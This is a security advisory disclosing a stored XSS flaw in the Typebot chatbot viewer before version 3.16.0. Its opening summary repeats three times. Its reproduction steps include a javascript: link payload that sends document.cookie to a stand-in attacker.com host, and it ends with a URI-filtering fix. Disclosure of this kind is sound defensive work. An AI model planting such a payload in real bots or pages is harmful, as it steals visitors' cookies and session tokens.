TypeBot: Stored XSS via javascript: URI in text bubble links — bot author executes JS on visitors' browsers

TypeBot is a chatbot builder tool. In versions prior to 3.16.0, the Typebot viewer (packages/embeds/js) renders anchor tags from rich text bubble content without filtering the javascript: URI scheme. A bot author can set a link URL to javascript:PAYLOAD, which executes in the visitor's browser context when clicked. Since the viewer is typically embedded in a third-party site, the attacker's JavaScript runs in the host page's origin and can exfiltrate cookies and session tokens. This can result in any authenticated Typebot user (including those on the free tier) being able to create a bot with this payload. Shared bots are publicly accessible — no victim authentication is required. This issue has been resolved in version 3.16.0.

TypeBot is a chatbot builder tool. In versions prior to 3.16.0, the Typebot viewer (packages/embeds/js) renders anchor tags from rich text bubble content without filtering the javascript: URI scheme. A bot author can set a link URL to javascript:PAYLOAD, which executes in the visitor's browser context when clicked. Since the viewer is typically embedded in a third-party site, the attacker's JavaScript runs in the host page's origin and can exfiltrate cookies and session tokens. This can result in any authenticated Typebot user (including those on the free tier) being able to create a bot with this payload. Shared bots are publicly accessible — no victim authentication is required. This issue has been resolved in version 3.16.0.

TypeBot is a chatbot builder tool. In versions prior to 3.16.0, the Typebot viewer (packages/embeds/js) renders anchor tags from rich text bubble content without filtering the javascript: URI scheme. A bot author can set a link URL to javascript:PAYLOAD, which executes in the visitor's browser context when clicked. Since the viewer is typically embedded in a third-party site, the attacker's JavaScript runs in the host page's origin and can exfiltrate cookies and session tokens. This can result in any authenticated Typebot user (including those on the free tier) being able to create a bot with this payload. Shared bots are publicly accessible — no victim authentication is required. This issue has been resolved in version 3.16.0.

### Summary The Typebot viewer (`packages/embeds/js`) renders anchor tags from rich text bubble content without filtering the `javascript:` URI scheme. A bot author can set a link URL to `javascript:PAYLOAD`, which executes in the visitor's browser context when clicked. Since the viewer is typically embedded in a third-party site, the attacker's JavaScript runs in the host page's origin and can exfiltrate cookies and session tokens. ### Details Vulnerable file: `packages/embeds/js/src/features/blocks/bubbles/textBubble/components/plate/PlateBlock.tsx` ```tsx // Line 32 — href set directly from stored bot content, no javascript: filtering <a href={elementDescendant.url as string} target="_blank" rel="noopener noreferrer"> {elementDescendant.children[0].text} </a> ``` SolidJS does not sanitize `href` attribute values — `javascript:` URIs pass through to the DOM unchanged. The same issue exists in `ImageBubble.tsx` line 102 for image link wrapping. ### Steps to Reproduce ``` 1. Log in to Typebot as an authenticated user (any plan) 2. Create a new bot 3. Add a Text Bubble block 4. In the rich text editor, type any link text and set the URL to: javascript:fetch('https://attacker.com/?c='+document.cookie) 5. Publish the bot and open the live/embedded viewer 6. Click the link in the chatbot interface 7. The JavaScript executes in the browser — cookie exfiltration request sent to attacker.com ``` Source-verified: `PlateBlock.tsx:32` renders `<a href={url}>` with no scheme filtering. Puppeteer alert confirmed `document.domain` execution when link clicked. ### Impact - Any authenticated Typebot user (including free tier) can create a bot with this payload - When shared or embedded in a third-party site, clicking the link executes JS in the host page's origin - Allows stealing cookies, session tokens, or any data accessible to the embedding page - Shared bots are publicly accessible — no victim authentication required ### Proposed Fix Filter `javascript:` URIs before rendering anchor tags: ```tsx const safeUrl = (url: string) => /^javascript:/i.test(url.trim()) ? '#' : url <a href={safeUrl(elementDescendant.url as string)} ...> ``` Alternatively, use a URL allowlist (only `https:`, `http:`, `mailto:`, `tel:`).